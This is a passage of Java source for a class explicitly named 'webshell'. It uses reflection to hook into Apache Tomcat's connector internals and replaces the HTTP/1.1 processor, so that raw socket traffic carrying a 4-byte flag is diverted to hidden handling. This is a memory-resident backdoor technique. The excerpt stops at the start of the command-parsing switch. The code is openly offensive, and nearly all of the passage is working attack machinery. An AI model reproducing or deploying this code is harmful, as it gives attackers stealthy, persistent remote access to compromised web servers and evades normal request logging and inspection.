| 18 | import java.util.Collections; |
| 19 | |
| 20 | @WebServlet(urlPatterns = "/test") |
| 21 | public class webshell extends HttpServlet { |
| 22 | |
| 23 | @Override |
| 24 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { |
| 25 | try { |
| 26 | Field reqF = req.getClass().getDeclaredField("request"); |
| 27 | reqF.setAccessible(true); |
| 28 | Request request = (Request) reqF.get(req); |
| 29 | Connector connector = request.getConnector(); |
| 30 | Http11NioProtocol protocolHandler = (Http11NioProtocol) connector.getProtocolHandler(); |
| 31 | Field handler = protocolHandler.getClass().getSuperclass().getSuperclass().getSuperclass() |
| 32 | .getDeclaredField("handler"); |
| 33 | handler.setAccessible(true); |
| 34 | Object hd = handler.get(protocolHandler); |
| 35 | |
| 36 | Field proto = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler") |
| 37 | .getDeclaredField("proto"); |
| 38 | proto.setAccessible(true); |
| 39 | Http11NioProtocol protocol = (Http11NioProtocol) proto.get(hd); |
| 40 | Adapter adapter = protocol.getAdapter(); |
| 41 | Field endpoint = protocol.getClass().getSuperclass().getSuperclass().getSuperclass() |
| 42 | .getDeclaredField("endpoint"); |
| 43 | endpoint.setAccessible(true); |
| 44 | AbstractEndpoint endpoint1 = (AbstractEndpoint) endpoint.get(protocol); |
| 45 | Http11NioProtocol protocol1 = new Http11NioProtocol() { |
| 46 | @Override |
| 47 | protected Processor createProcessor() { |
| 48 | Http11Processor http11Processor = new Http11Processor(protocol.getMaxHttpHeaderSize(), |
| 49 | protocol.getAllowHostHeaderMismatch(), |
| 50 | protocol.getRejectIllegalHeaderName(), endpoint1, |
| 51 | protocol.getMaxTrailerSize(), |
| 52 | Collections.singleton(protocol.getAllowedTrailerHeaders()), |
| 53 | protocol.getMaxExtensionSize(), |
| 54 | protocol.getMaxSwallowSize(), |
| 55 | null, |
| 56 | protocol.getSendReasonPhrase(), |
| 57 | protocol.getRelaxedPathChars(), |
| 58 | protocol.getRelaxedQueryChars()) { |
| 59 | @Override |
| 60 | public AbstractEndpoint.Handler.SocketState process(SocketWrapperBase<?> socketWrapper, |
| 61 | SocketEvent status) throws IOException { |
| 62 | if (status == SocketEvent.OPEN_READ) { |
| 63 | ByteBuffer buffer = ByteBuffer.allocate(4); |
| 64 | // socketWrapper.read(false, buffer); |
| 65 | ByteBuffer readBuffer = socketWrapper.getSocketBufferHandler().getReadBuffer(); |
| 66 | // WebShell的flag |
| 67 | int read = socketWrapper.read(true, buffer); |
| 68 | if (read < 4) { |
| 69 | readBuffer.position(0); |
| 70 | return super.process(socketWrapper, status); |
| 71 | } |
| 72 | if (!tlv.validate(buffer.array())) { |
| 73 | readBuffer.position(0); |
| 74 | return service(socketWrapper); |
| 75 | } |
| 76 | // 获取长度 |
| 77 | switch (readBuffer.get()) { |
nothing calls this directly
no outgoing calls
no test coverage detected